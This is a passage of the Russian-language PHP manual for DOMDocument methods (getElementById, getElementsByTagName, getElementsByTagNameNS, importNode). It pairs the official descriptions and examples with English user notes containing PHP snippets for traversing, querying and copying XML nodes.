From my experience, getElementById seem to work fine without any setups if you have loaded a HTML document. But in order for getElementById to work with a simple XML document that you've "constructed", you have to set up the id with "xml:" prefix and use setIdAttribute on the element you created or it won't work. See following example, hope this will save someone's frustration. If you have loaded the xml file, then all you have to make sure is the ID has a xml: prefix for the attribute.  But if you start to append the XML document, don't forget to setIdAttribute on the id name or those elements or getElementById will return null when you try to find them.

<?php

    /* test.xml
    <?xml version="1.0" encoding="utf-8"?>
    <root>
        <child xml:id="id_xxxxxx" status="partial">
            <sub_child>Some Data</sub_child>
        </child>
    </root>
    */

    $xmlDom = new DOMDocument('1.0', 'utf-8');
    $xmlDom->formatOutput = true;                        // we want a nice output

    // create a root
    $eltRoot = $xmlDom->createElement("root");
    $xmlDom->appendChild($eltRoot);

    $eltChild = $xmlDom->createElement("child");
    $eltRoot->appendChild($eltChild);

    // add a id attribute
    $attr = $xmlDom->createAttribute("xml:id");    // needs xml prefix or getElementById won't work
    $eltChild->appendChild($attr);

    /// create the text node and append to the created element
    $tNode = $xmlDom->createTextNode("id_8120528");
    $attr->appendChild($tNode);
    $eltChild->setIdAttribute("xml:id", true);    // VERY IMPORT or getElementById won't work

    // add a id attribute
    $attr = $xmlDom->createAttribute("status");
    $eltChild->appendChild($attr);

    /// create the text node and append to the created element
    $tNode = $xmlDom->createTextNode("partial");
    $attr->appendChild($tNode);

    // add a subchild
    $eltSub = $xmlDom->createElement("sub_child");
    $eltChild->appendChild($eltSub);

    $tNode = $xmlDom->createTextNode("Some Data");
    $eltSub->appendChild($tNode);

    $id = null;
    $id = $xmlDom->getElementById("id_8120528");

    assert ($id != null);

    $strId = $id->getAttribute("xml:id"); // bug? empty
    $strStatus = $id->getAttribute("status"); // this works!

    assert ($id !=null);

    $xmlDom->save("./_data/test.xml");

    $xmlDom->load("./_data/test.xml"); // reloading fixes the problem

    $nodeRoot = $xmlDom->getElementsByTagName("root");
    if ($nodeRoot->length > 0) {
        $eltRoot = $nodeRoot->item(0);
    }

    assert($eltRoot != null);

    $id = null;
    $id = $xmlDom->getElementById("id_8120528");

    assert ($id != null);

    $strId = $id->getAttribute("xml:id"); // this works now!
    $strStatus = $id->getAttribute("status"); // this works!

?>
guillaume dot crico at gmail dot com 01-Oct-2008 07:55
You don't want to use "xml:id" ?
Here is the relaxNG trick (with a generic schema):
(tested with libxml 2.6.26)

<?php
$doc = new DOMDocument();
$doc->load(...);

$rng = '
<grammar xmlns="http://relaxng.org/ns/structure/1.0" datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes">
    <start>
        <element>
            <anyName/>
            <ref name="anythingID"/>
        </element>
    </start>
    <define name="anythingID">
        <zeroOrMore>
            <choice>
                <element>
                    <anyName/>
                    <ref name="anythingID"/>
                </element>
                <attribute name="id">
                    <data type="ID"/>
                </attribute>
                <zeroOrMore>
                    <attribute><anyName/></attribute>
                </zeroOrMore>
                <text/>
            </choice>
        </zeroOrMore>
    </define>
</grammar>
';

$doc->relaxNGValidateSource($rng);
var_dump($doc->getElementById('id1'));
?>

Note that ID values must be valid ones :
  - integers do no work!
  - @see http://www.w3.org/TR/REC-xml/#id
  - => (Letter | '_' | ':') ( Letter | Digit | '.' | '-' | '_' | ':' | CombiningChar | Extender  )*
simon at somewhere dot com 29-Jan-2007 08:07
SAVE YOURSELF A MAJOR HEADACHE AND A LOT OF SEARCHING THROUGH DOCUMENTATION -

Instead of using $object->setAttribute('id', 'id_name_here')
USE THIS: $object->setAttribute('xml:id', 'id_name_here')

Then, to get the node value: $domDocumentObject->getElementById('id_name_here');

The xml:id attribute should AUTOMATICALLY be defined!!

Woohoo!  That was easy......
jonbarnett at gmail dot com 01-Nov-2006 08:36
If your XML document does not have a DTD that defines the "id" attribute as an ID, then the easiest thing to do is to use XPath->query() to find an element that matches "//[@id='x']"
Tangui dot Le-Pense at laposte dot net 08-Apr-2006 06:00
Validating a document from a DTD so as to use getElementById is sometimes impossible (for example when the head and body elements are not included yet in a XHtml document : the validation failed).
Fortunately, xml:id is supported by this function :)
That may be useful.
http://www.w3.org/TR/xml-id/
20-Dec-2005 07:04
If you're trying to use getElementById with a xml file validated on a xsd file you must first use the schemaValidate function or getElementById will return null
Example:

  $dom = new DomDocument();
  $dom->load("users.xml");
  $dom->schemaValidate("users.xsd");

  $curruser = $dom->getElementById($user->name);
bart at mediawave dot nl 11-Sep-2005 04:46
It seems getElementById works fine without setting validateOnParse to true. Which is nice since setting this to true caused some performance problems with my script.


Ищет все элементы с заданным локальным именем

  • « DOMDocument::getElementById
  • DOMDocument::getElementsByTagNameNS »
  • PHP Manual
  • DOMDocument
  • Ищет все элементы с заданным локальным именем

DOMDocument::getElementsByTagName

(PHP 5, PHP 7, PHP 8)

DOMDocument::getElementsByTagName — Ищет все элементы с заданным локальным именем

Описание

public DOMDocument::getElementsByTagName(string $qualifiedName): DOMNodeList

Эта функция возвращает новый объект класса DOMNodeList, содержащий элементы с заданным локальным именем.

Список параметров

qualifiedName

Локальное имя (без пространства имён) тега, по которому будет проводиться поиск. Специальное значение * соответствует всем тегам.

Возвращаемые значения

Новый объект класса DOMNodeList, содержащий все найденные элементы.

Примеры

Пример #1 Простой пример использования

<?php
$xml = <<< XML
<?xml version="1.0" encoding="utf-8"?>
<books>
<book>Шаблоны корпоративных приложений</book>
<book>Приёмы объектно-ориентированного проектирования. Паттерны проектирования</book>
<book>Чистый код</book>
</books>
XML;

$dom = new DOMDocument;
$dom->loadXML($xml);
$books = $dom->getElementsByTagName('book');
foreach ($books as $book) {
echo $book->nodeValue, PHP_EOL;
}
?>

Результат выполнения приведённого примера:

Шаблоны корпоративных приложений
Приёмы объектно-ориентированного проектирования. Паттерны проектирования
Чистый код

Смотрите также

  • DOMDocument::getElementsByTagNameNS() - Ищет все элементы с заданным именем в указанном пространстве имён

User Contributed Notes

Mateusz K 19-Dec-2019 08:04
If you want to move all nodes to another tag you can do it like that
Eg: replace <div> with nodes to <p> with the same nodes.

function replaceDomElementTag(DOMDocument $dom, DOMElement $node, string $tagName)
{
        $newElement = $dom->createElement($tagName);
        while ($node->childNodes->length)
            $newElement->appendChild($node->childNodes[0]);

        $node->parentNode->replaceChild($newElement, $node);
}

$dom = new DOMDocument();
replaceDomElementTag($dom, $divElementToReplace, 'p');
rsvvuuren at hotmail dot com 10-Jan-2014 10:00
I was in need of $dom->getElementsByTagName that would hist magic within a contextNode.

Why i needed getElementsByTagName instead of just simple using an xPath->query is because while looping through the returned nodelist, more nodes with the tagName i was looking for where created.

When using getElementsByTagName, the new nodes are "added" to the nodelist i already am looping through.

When using an xpath query, you wil only loop through the original nodelist, the newly created elements wil not appear in that nodelist.

I was already using an extended class on domDocument, so it was simple to create an kind of getElementsByTagName that would accept an contextNode.

<?php
class SmartDocument extends DOMDocument {
    private $localDom;
    public $xpath;
    private $serialize = array('localDom');

    private $elemName;
    private $elemCounter;

    /**
     * Constructor
     */
    function __construct() {
        parent::__construct ( '1.0', 'UTF-8' );
        $this->preserveWhiteSpace = false;
        $this->recover = TRUE;
        $this->xpath = new DOMXpath ( $this );
    }

    /**
     * GetElementsByTagname within an contextNode
     *
     * @param string $name
     * @param DomNode $contextNode
     * @return DOMNode|NULL
     */
    public function getElementsByTagNameContext($name, $contextNode) {

        if($this->elemName!=$name) {
            $this->elemCounter     = 0;
            $this->elemName        =$name;
        }

        $this->elemLength      = $this->xpath->evaluate('count(.//*[name()="'.$this->elemName.'"])', $contextNode);
        while($this->elemCounter < $this->elemLength) {
            $this->elemCounter++;
            $nl = $this->xpath->query('.//*[name()="'.$this->elemName.'"]['.$this->elemCounter.']', $contextNode);
            if($nl->length == 1) {
                return $nl->item(0);
            }
        }

        $this->elemLength      = null;
        $this->elemCounter     = null;
        $this->elemName        = null;
        return null;
    }
}

?>

Usage:

<?php

 $doc = new SmartDocument();
 $doc->load('book.xml');

 $nl = $doc->query('//books');
 foreach($nl as $node) {
  while($book = $doc->getElementsByTagNameContext('book', $node)) {
   //When you now create new nodes within this loop as child or following-sibling of this node
  // They show up within this loop
  }

 }

?>
simon at onepointltd dot com 10-Sep-2013 07:54
Here is a function to convert the populated tables in and HTML document into an array.

<?php
//Create an array containing all the populated tables in an HTML page
//Returned array: tables_to_array[table number][row number][column number]
function tables_to_array ($url) {
  $htmlDocDom = new DOMDocument();

  @$htmlDocDom->loadHTMLFile($url);
  $htmlDocDom->preserveWhiteSpace = false;
  $tableCounter = 0;
  $htmlDocTableArray = array();
  $htmlDocTables = $htmlDocDom->getElementsByTagName('table');
  foreach ($htmlDocTables as $htmlDocTable) {
    $htmlDocTableArray[$tableCounter] = array();
    $htmlDocRows= $htmlDocTable->getElementsByTagName('tr');
    $htmlDocRowCount = 0;
    $htmlDocTableArray[$tableCounter] = array();
    foreach ($htmlDocRows as $htmlDocRow) {
      if (strlen($htmlDocRow->nodeValue) > 1)
      {
        $htmlDocColCount = 0;
        $htmlDocTableArray[$tableCounter][$htmlDocRowCount] = array();
        $htmlDocCols = $htmlDocRow->getElementsByTagName('td');
        foreach ($htmlDocCols as $htmlDocCol) {
          $htmlDocTableArray[$tableCounter][$htmlDocRowCount][] = $htmlDocCol->nodeValue;
          $htmlDocColCount++;
        }
        $htmlDocRowCount++;
      }
    }
    if ($htmlDocRowCount > 1) $tableCounter++;
  }
  return($htmlDocTableArray);
}
?>
yaakov dot moddel at gmail dot com 28-Aug-2012 10:47
This is a very simplistic way to traverse xml nodes and childnodes using the DOMDocument class

<?php
$xml ='<?xml version="1.0" encoding="utf-8"?>
<root>
    <Parent>
        <child>child 1</child>
        <child>child 2</child>
        <child>child 3</child>
        <subParent>
            <Grandchild>Grandchild 1</Grandchild>
            <Grandchild>Grandchild 2</Grandchild>
            <Grandchild>Grandchild 3</Grandchild>
        </subParent>
    </Parent>
    <Parent>
        <child>child 4</child>
        <child>child 5</child>
        <child>child 6</child>
        <subParent>
            <Grandchild>Grandchild 4</Grandchild>
            <Grandchild>Grandchild 5</Grandchild>
            <Grandchild>Grandchild 6</Grandchild>
        </subParent>
    </Parent>
</root>';
      $doc = new DOMDocument();
      $doc->preserveWhiteSpace = false;
      $doc->loadXML($xml);
      $i=0;
            while(is_object($finance = $doc->getElementsByTagName("Parent")->item($i)))
            {
                     foreach($finance->childNodes as $nodename)
                     {
                             if($nodename->nodeName=='subParent')
                                {
                                     foreach($nodename->childNodes as $subNodes)
                                     {
                                     echo $subNodes->nodeName." - ".$subNodes->nodeValue."<br>";
                                     }
                                }
                             else
                                {
                                echo $nodename->nodeName." - ".$nodename->nodeValue."<br>";
                                }
                     }
      $i++;
            }
?>
metron at underhive-planet dot com 08-Oct-2010 05:28
My first try to get a stable solution with this function, failed with this Exception:

"Fatal error: Call to undefined method DOMNodeList::getElementsByTagName()"
This is the xml snipplet:
<?xml version="1.0" encoding="UTF-8"?>
<root>
 <component>
  <properties>
    ....<any element>
  </properties>
 </component>
</root>

So the php code to climb along the elements is:
<?php

$src = new DOMDocument('1.0', 'utf-8');
$src->formatOutput = true;
$src->preserveWhiteSpace = false;

//Loading extern file
$src->load('../xml/Item_component.xml');

//Check each child of first indexed branch node of: <component>
//First get element after root element: <component>

//1st level
$component = $src->getElementsByTagName('component')->item(0);

//2nd level, get next element after component, here it fails!!
$properties = $component->getElementsByTagName('properties')->item(0);
...
?>

I realised, that there is a different when using different libxml2 versions on Apache2. This code will fail with libxml2 version 2.6.23 and PHP version 5.2.6
--
->It works fine with libxml2 version 2.6.32 and PHP version 5.2.6-3ubuntu4.6
->...and finally it also works with libxml2 2.7.7 and PHP >= 5.3

So if you bored to search for solutions with DOM like I did, please ensure that your www environment has the correct libxml2 / PHP Version installed on your apache2 server.
calvin at g mail 02-Oct-2010 04:41
My first post!
And this is how I get elements by attribute and its value.
For an example, if I want to grab all DIV tags with class name 'className', then...

<?php
$some_link = 'some website';
$tagName = 'div';
$attrName = 'class';
$attrValue = 'className';

$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
@$dom->loadHTMLFile($some_link);

$html = getTags( $dom, $tagName, $attrName, $attrValue );
echo $html;

function getTags( $dom, $tagName, $attrName, $attrValue ){
    $html = '';
    $domxpath = new DOMXPath($dom);
    $newDom = new DOMDocument;
    $newDom->formatOutput = true;

    $filtered = $domxpath->query("//$tagName" . '[@' . $attrName . "='$attrValue']");
    // $filtered =  $domxpath->query('//div[@class="className"]');
    // '//' when you don't know 'absolute' path

    // since above returns DomNodeList Object
    // I use following routine to convert it to string(html); copied it from someone's post in this site. Thank you.
    $i = 0;
    while( $myItem = $filtered->item($i++) ){
        $node = $newDom->importNode( $myItem, true );    // import node
        $newDom->appendChild($node);                    // append node
    }
    $html = $newDom->saveHTML();
    return $html;
}

?>

Please, improve it, and share it.
Philip N 01-Sep-2010 03:17
Note that when using getElementsByTagName that it is a dynamic list. Thus if you have code which adjusts the DOM structure it will change the results of the getElementsByTagName results list.

The following code iterates through a complete set of results and changes them all to a new tag:

<?php
 $nodes = $xml->getElementsByTagName ("oldtag");

 $nodeListLength = $nodes->length; // this value will also change
 for ($i = 0; $i < $nodeListLength; $i ++)
 {
    $node = $nodes->item(0);

    // some code to change the tag name from "oldtag" to something else
    // e.g. encrypting a tag element
 }
?>

Since the list is dynamically updating, $nodes->item(0) is the next "unchanged" tag.
Marco Maranao 27-Apr-2010 10:22
The following takes a list of news items from an XML file (or an RSS feed), assigning it to an array first for a name value pair and then generating an HTML list.

<?php

$xml  =<<<EOT
<?xml version="1.0" encoding="ISO-8859-1"?>
<news>
    <item>
        <title>News 1</title>
        <created>04/2/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
    <item>
        <title>News 2</title>
        <created>04/25/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
    <item>
        <title>News 3</title>
        <created>04/27/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
</news>
EOT;

$doc = new DOMDocument();

if ($doc->loadXML($xml)) {
    $items = $doc->getElementsByTagName('item');
    $headlines = array();

    foreach($items as $item) {
        $headline = array();

        if($item->childNodes->length) {
            foreach($item->childNodes as $i) {
                $headline[$i->nodeName] = $i->nodeValue;
            }
        }

        $headlines[] = $headline;
    }

    if(!empty($headlines)) {
        $hc = 0;

        echo '<ul>';

        foreach($headlines as $headline) {
            if(++$hc <= 3) {
                echo '<li>'
                    .'<a href="'.$headline['url'].'" target="_blank">'
                        .'<span>'.date('F j, Y', strtotime($headline['created'])).'</span><br />'
                        .$headline['title']
                    .'</a>'
                .'</li>';
            }
        }

        echo '</ul>';
    }
}

?>
james 01-Feb-2010 07:03
Problem:
You have an XML document that contains filename references to, say, images. Each filename reference is defined by <file>filename.ext</file> tag. You'd like to perform perform additional validation, say, after running the XML document through XSD validation. The additional validation can be any of your choice, in this example, it would be ideal to convert the PHP code to a function. The function would then determine if the images exist and return either an integer value or a boolean.

<?xml version="1.0"?>
<root>
<box>
<file>example.png</file>
</box>
<content>
<item>
<image><file>example2.png</file></image>
<caption>The above image is an example</caption>
</item>
</content>
</root>

Solution:
<?php

$dom = new DomDocument();
$dom->prevservWhiteSpace = false;

if (!@$dom->load("example.xml")) {
    echo "example.xml doesn't exist!\n";
    return;
}

$imageList = $dom->getElementsByTagName('file');
$imageCnt  = $imageList->length;

for ($idx = 0; $idx < $imageCnt; $idx++) {
    print $imageList->item($idx)->nodeValue . "\n";
}

?>

The above PHP code could easily be turned into a function that returns an array of image filenames, an integer value relative to the number of images found, etc.

Hope this is helpful.
gurmukh24 at gmail dot com 03-Mar-2009 04:06
Following Example is of multiple attributes and multiple child nodes. this is being used to make joomla plugin for bulk upload of articles. Gurmukh Singh Bhatti

<?php
$xml =<<<EOT
<?xml version="1.0"?>
<root>
<section name="Section1">
  <category id="Category1" name="google">
   <arti name="article1">
   <p>any html code here</p>
   <b>my name is so so</b>
    </arti>
   <arti name="article2">value2</arti>
   <arti name="article3">value3</arti>
   <arti name="article4">value4</arti>
  </category>
    <category id="Category2" name="yahoo">
   <arti name="articleSection2">Test value</arti>
  </category>
</section>
<section name="Section2">
  <category id="category1_of_section2" name="msn">
   <arti name="article2">value1</arti>
   <arti name="article3">value2</arti>
  </category>
    <category id="Category2_of_section2" name="webcare">
    <arti name="param3">value4</arti>
   </category>
</section>
</root>
EOT;

$dom = new DomDocument;
$dom->preserveWhiteSpace = FALSE;
$dom->loadXML($xml);
$params = $dom->getElementsByTagName('section'); // Find Sections
$k=0;
foreach ($params as $param) //go to each section 1 by 1
{
         echo "Section Attribute :-> ".$params->item($k)->getAttribute('name')."<br>";   //get section attribute
         $params2 = $params->item($k)->getElementsByTagName('category'); //digg categories with in Section
      $i=0; // values is used to iterate categories
        foreach ($params2 as $p) {
           echo "&nbsp;&nbsp;- Category Attribute Name :-> ".$params2->item($i)->getAttribute('name')."<br>"; //get Category attributes
            $params3 = $params2->item($i)->getElementsByTagName('arti'); //dig Arti into Categories
                 $j=0;//values used to interate Arti
                     foreach ($params3 as $p2)
                   {
                    echo "&nbsp;&nbsp;&nbsp;- Article Attribute Name : ".$params3->item($j)->getAttribute('name').""; //get arti atributes
echo "&nbsp;&nbsp; Value : ".$params3->item($j)->nodeValue."<br>"; //get Node value ;
                              $j++;
                   }
         $i++;
      }
$k++;

}
?>

output :
 Section Attribute :-> Section1
  - Category Attribute Name :-> google
            - Article Attribute Name : article1   Value : any html code heremy name is so so
            - Article Attribute Name : article2   Value : value2
            - Article Attribute Name : article3   Value : value3
            - Article Attribute Name : article4   Value : value4
  - Category Attribute Name :-> yahoo
            - Article Attribute Name : articleSection2   Value : Test value
Section Attribute :-> Section2
  - Category Attribute Name :-> msn
            - Article Attribute Name : article2   Value : value1
            - Article Attribute Name : article3   Value : value2
  - Category Attribute Name :-> webcare
            - Article Attribute Name : param3   Value : value4
James L 19-Aug-2008 04:04
Return if there are no matches is an empty DOMNodeList. Check using length property, e.g.:

<?php
$nodes=$domDocument->getElementsByTagName('book') ;
if ($nodes->length==0) {
   // no results
}
?>
jason at shaped dot ca 11-Feb-2008 04:59
in response to tildy at pr dot hu

my preferred way is (in example to gather country data from an iso 3166 xml flie)

$countries = new DOMDocument();
$countries->load("./lib/iso_3166.xml");

$countriesList = $countries->getElementsByTagName("ISO_3166-1_Entry");

foreach($countriesList as $country) {
    $values = $country->getElementsByTagName("*");
    foreach($values as $node) {
      echo $node->nodeName."=".$node->nodeValue;
    }
}
Finding values of a node 14-Mar-2007 02:01
I don't know if this is that obvious but it was not for me, so in addition to gem at rellim dot com's posting:
adding

<?php
echo $param -> nodeValue.'<br>';
?>

to the loop will output
value1
value2
value3
gem at rellim dot com 29-Sep-2004 04:20
Here is an example of getElementsByTagName():

<?php
$xml =<<<EOT
<?xml version="1.0"?>
<config>
  <section id="section1">
   <param name="param1">value1</param>
   <param name="param2">value2</param>
  </section>
  <section id="section2">
   <param name="param3">value3</param>
  </section>
</config>
EOT;

$dom = new DomDocument;
$dom->preserveWhiteSpace = FALSE;
$dom->loadXML($xml);
$params = $dom->getElementsByTagName('param');

foreach ($params as $param) {
       echo $param -> getAttribute('name').'<br>';
}
?>

Expected result:
--------------
param1
param2
param3


Ищет все элементы с заданным именем в указанном пространстве имён

  • « DOMDocument::getElementsByTagName
  • DOMDocument::importNode »
  • PHP Manual
  • DOMDocument
  • Ищет все элементы с заданным именем в указанном пространстве имён

DOMDocument::getElementsByTagNameNS

(PHP 5, PHP 7, PHP 8)

DOMDocument::getElementsByTagNameNS — Ищет все элементы с заданным именем в указанном пространстве имён

Описание

public DOMDocument::getElementsByTagNameNS(?string $namespace, string $localName): DOMNodeList

Возвращает объект DOMNodeList со всеми элементами с заданным локальным именем и URI пространства имён.

Список параметров

namespace

URI пространства имён. Специальное значение "*" соответствует всем пространствам имён. Передача null соответствует пустому пространству имён.

localName

Локальное имя искомых элементов. Специальное значение "*" соответствует всем локальным именам.

Возвращаемые значения

Новый объект класса DOMNodeList, содержащий все найденные элементы.

Список изменений

Версия | Описание
8.0.3 | namespace теперь допускает значение null.

Примеры

Пример #1 Получение всех элементов XInclude

<?php

$xml = <<<EOD
<?xml version="1.0" ?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
<title>Books of the other guy..</title>
<para>
<xi:include href="book.xml">
<xi:fallback>
<error>xinclude: book.xml not found</error>
</xi:fallback>
</xi:include>
<include>
This is another namespace
</include>
</para>
</chapter>
EOD;
$dom = new DOMDocument;

// загрузить XML-строку, определённую выше
$dom->loadXML($xml);

foreach ($dom->getElementsByTagNameNS('http://www.w3.org/2001/XInclude', '*') as $element) {
echo 'локальное имя: ', $element->localName, ', префикс: ', $element->prefix, "\n";
}
?>

Результат выполнения приведённого примера:

локальное имя: include, префикс: xi
локальное имя: fallback, префикс: xi

Смотрите также

  • DOMDocument::getElementsByTagName() - Ищет все элементы с заданным локальным именем

User Contributed Notes

RiKdnUA at mail dot ru 19-Mar-2015 07:47
<?php
ini_set("display_errors","on"); error_reporting(-1);
$doc="<?xml version='1.0' encoding='WINDOWS-1251'?>
<htm:body xmlns:htm='w3.org'>
<span>Text</span>
<htm:img htm:src='imgSrc'/>
</htm:body>";
$dom = new DOMDocument('1.0','WINDOWS-1251');
$dom->preserveWhiteSpace=false;
$dom->loadXML($doc);
$domList=$dom->getElementsByTagNameNS('*','*');//all namespaces, all local names
echo "Количество элементов. The number of elements: ".$domList->length."<br />";// 2 (not 3)
for ($i=0; $i<$domList->length; $i++)
{echo "Элемент $i. The element $i: ".$domList->item($i)->tagName."<br />";
}
/*
Tested in PHP 5.2.9-2 and 5.2.17
The above example will output:
Количество элементов. The number of elements: 2
Элемент 0. The element 0: htm:body
Элемент 1. The element 1: htm:img

Вывод. Не найден элемент span
Conclusion. Not found span element
*/
?>


Импортировать узел в текущий документ

  • « DOMDocument::getElementsByTagNameNS
  • DOMDocument::load »
  • PHP Manual
  • DOMDocument
  • Импортировать узел в текущий документ

DOMDocument::importNode

(PHP 5, PHP 7, PHP 8)

DOMDocument::importNode — Импортировать узел в текущий документ

Описание

public DOMDocument::importNode(DOMNode $node, bool $deep = false): DOMNode|false

Эта функция возвращает копию импортируемого узла и связывает её с текущим документом.

Список параметров

node

Узел для импорта.

deep

Если установлено значение true, этот метод будет рекурсивно импортировать поддерево узла node.

Замечание:

Чтобы скопировались атрибуты узла, deep должен быть установлен в true.

Возвращаемые значения

Скопированный узел или false, если он не может быть скопирован.

Ошибки

Если узел не может быть импортирован, будет выброшено исключение DOMException.

Примеры

Пример #1 Пример использования DOMDocument::importNode()

Копирование узлов между документами.

<?php

$orgdoc = new DOMDocument;
$orgdoc->loadXML("<root><element><child>text in child</child></element></root>");

// Узел, который будет импортирован в новый документ
$node = $orgdoc->getElementsByTagName("element")->item(0);

// Создание нового документа
$newdoc = new DOMDocument;
$newdoc->formatOutput = true;

// Добавление разметки
$newdoc->loadXML("<root><someelement>text in some element</someelement></root>");

echo "Новый документ перед добавлением в него узлов:\n";
echo $newdoc->saveXML();

// Импорт узла и всех его потомков в документ
$node = $newdoc->importNode($node, true);
// И затем добавление его в корневой узел
$newdoc->documentElement->appendChild($node);

echo "\nНовый документ после добавления в него узлов:\n";
echo $newdoc->saveXML();
?>

Результат выполнения приведённого примера:

Новый документ перед добавлением в него узлов:
<?xml version="1.0"?>
<root>
  <someelement>text in some element</someelement>
</root>

Новый документ после добавления в него узлов:
<?xml version="1.0"?>
<root>
  <someelement>text in some element</someelement>
  <element>
    <child>text in child</child>
  </element>
</root>

User Contributed Notes

rikdnua at mail dot ru 11-Sep-2013 01:54
The behavior of importNode($node, false) is different in PHP 5.2.9-2 and PHP 5.2.17.
The second option is explicitly set to false. In PHP 5.2.9-2 importNode() imports the elements WITHOUT attributes. In PHP 5.2.17 the elements imported ALONG with their attributes.
<?php
$xml="
<html>
<a href='yandex.com'>Yandex.com</a>
<a href='rik.dn.ua'>RiK.dn.ua</a>
</html>
";
$doc=new domDocument('1.0');
$doc->loadXML($xml);
$list=$doc->getElementsByTagName('a');
$doc1=new domDocument('1.0');
$doc1->formatOutput=true;
for($i=0; $i<$list->length; $i++) $doc1->appendChild($doc1->importNode($list->item($i), false));
$doc1->save('file.xml');
?>

file.xml PHP 5.2.9-2
<?xml version="1.0"?>
<a/>
<a/>

file.xml PHP 5.2.17
<?xml version="1.0"?>
<a href="yandex.com"/>
<a href="rik.dn.ua"/>
c dot 1 at smithies dot org 19-Oct-2009 06:40
Assume that $source and $dest are instances of DOMDocument. Assume that $sourcedoc contains an element with ID 'sourceID' and that $destdoc contains an element with ID 'destID'. Assume that we have already set up source and destination element variables thus:

<?php
 $src = $sourcedoc->getElementById('sourceID');
 $dst = $destdoc->getElementById('destID');
?>

Finally, assume that $sel has more than one child node.

In order to import the child elements of $src as children of $dst, you might do something like this:

<?php
$src = $dest->importNode($src, TRUE);

foreach ($src->childNodes as $el) $dst->appendChild($el);
?>

But this does not work. foreach gets confused, because (as noted below) appending an imported element to another existing element in the same document causes it to be removed from its current parent element.

Therefore, the following technique should be used:

<?php
foreach ($src->childNodes as $el) $dst->appendChild($destdoc->importNode($el, TRUE));
?>
p dot reisinger at gmail dot com 29-Dec-2008 03:43
When you use function/method below, php automaticaly inserts namespaces (if you have some). If you want to join xml files exactly, then you can just use placeholders and treat xml as a string.
<?php
function joinXMLStrings($file1, $file2)
{
    //remove xml declaration
    $file2 = trim(preg_replace('/<\?xml.*\?>/', '', $file2, 1));

    //insert file2 in the place of placeholder in the first file
    $file1 = trim(preg_replace('/<\?file2\s\?>/', $file2, $file1, 1));
}
?>

so function looks like this and you insert two xml files. First file has to have placeholder (where you insert file2). Placeholder in this case will be <?file2 ?>

!!!this is only for ilustration - test before you use it
p dot reisinger at gmail dot com 23-Dec-2008 07:32
method (can be used as a function as well) that joins two xml files. first argument is parent xml (the one to be inserted into), second child (the one to be inserted) and third is optional argument that specifies the parent's tag where to insert children xml. If not specified then children is inserted as the last element, just before end of the root
<?php
    protected function joinXML($parent, $child, $tag = null)
    {
        $DOMChild = new DOMDocument;
        $DOMChild->loadXML($child);
        $node = $DOMChild->documentElement;

        $DOMParent = new DOMDocument;
        $DOMParent->formatOutput = true;
        $DOMParent->loadXML($parent);

        $node = $DOMParent->importNode($node, true);

        if ($tag !== null) {
            $tag = $DOMParent->getElementsByTagName($tag)->item(0);
            $tag->appendChild($node);
        } else {
            $DOMParent->documentElement->appendChild($node);
        }

        return $DOMParent->saveXML();
    }
?>
mailme at sove dot nl 11-Jun-2008 05:29
DOMDocument->importNode with seconds argument false will leave attributes behind. To fix this:

$__DOM->importNode
   (
      $__INPUT->cloneNode(false), true
   );

$__DOM (DOMDocument) will import the $__INPUT node (DOMElement) INCLUDING attributes.
mark at 4inloop dot de 05-Apr-2007 05:51
When you left out the second argument or enter false, not only the child nodes are ommited. The attributes of the node are also cut off.
adjwilli 05-Oct-2006 01:08
Editing XML with PHP can be a pain in the Secretary of State Powell, so here's a script to replace an XML node with a user-provided one through the POST. It's usually a good idea to run the $_POST['xml'] through a validation check and clean it for other thing before running this.

Pretty much this script expects a user-provided node called $_POST['xml'] and the XPath of the node in the original document that you want to replace called $_POST['XPath']. It also loads the original XML document from $xml. The function nodeRunner begins with the root node of the document you're editting and the XPath for the root element (these are more to make recursion easy than anything else).

$doc = new DOMDocument();
$doc->loadXML($xml); // $xml expects an XML string

function nodeRunner ($node,$xpath) {
    global $doc;
    if ($xpath == $_POST['XPath']) {

        $xmlPost = new DOMDocument();
        $xmlPost->loadXML($_POST['xml']);

        $newNode = $doc->importNode($xmlPost->firstChild,true);

        $node->parentNode->replaceChild($newNode,$node);
    } else {

        $page = 1;
        $section = 1;

        if ($node->hasChildNodes()) {
            foreach ($node->childNodes as $nodling) {
                $nodeName = $nodling->nodeName;
                if ($nodeName == 'page' || $nodeName == 'section') {
                    nodeRunner ($nodling,$xpath."/".$nodeName."[".$$nodeName."]");
                    $$nodeName++;
                }
            }
        }
    }
}

nodeRunner ($doc->documentElement,"/root[1]"); // /root should be explicit name of the root  element of the XPath

$doc->saveXML();
stomas 19-Sep-2006 06:14
I think this should do the same:

<?
 // Import $b into $a's document
 function myimport($a, $b)
 {
   if ($a->ownerDocument->isSameNode($b->ownerDocument))
   {
    return $b->cloneNode(TRUE);
   }
   else
   {
    return $a->ownerDocument->importNode($b, TRUE);
   }
 }
 ?>
Colin 12-Sep-2006 09:11
As of PHP 5.1.6 with libxml 2.6.26 and DOM/XML API version 20031129, importNode() does nothing if attempting to import from the same document.  Meaning, if you do an $ret = importNode and then appendChild($ret) or insertBefore($ret, ...) then you will end up *moving* the node instead of ending up with a copy.

If you expect importNode to give you a copy of the source (in this case, a deep copy) then you must account for them being from the same document.  This function addresses this:

<?
// Import $b into $a's document
function myimport($a, $b)
{
  if ($a->ownerDocument->isSameNode($b->ownerDocument))
  {
    $temp = new DOMDocument();
    $ret = $temp->importNode($b, TRUE);
    return $a->ownerDocument->importNode($ret, TRUE);
  }
  else
  {
    return $a->ownerDocument->importNode($b, TRUE);
  }
}
?>

(Function was freshly coded for this note but I based it off another, working function of mine.)

This function checks if the documents are the same and uses a new document (guaranteed to be different this way) to force a copy into $temp and then force a copy back into $a->ownerDocument.

Obviously, no error checking has been done.
andy dot clark at dial dot pipex dot com 15-Aug-2006 08:20
One useful use of importNode is to copy one node onto another.

function CopyXMLNode($SourceNode,$DestNode)
 {
  if ($SourceNode->nodeName != '#text')
   {
     //Copy this node
    $node = $DestNode->ownerDocument->importNode($SourceNode, true);
    $node = $DestNode->appendChild($node);
    //Now copy the child nodes
    foreach ($SourceNode->childNodes AS $item)
     {
     $this->CopyXMLNode($item,$node);
     }
    }
  }
Fitopaldi 03-Aug-2005 11:29
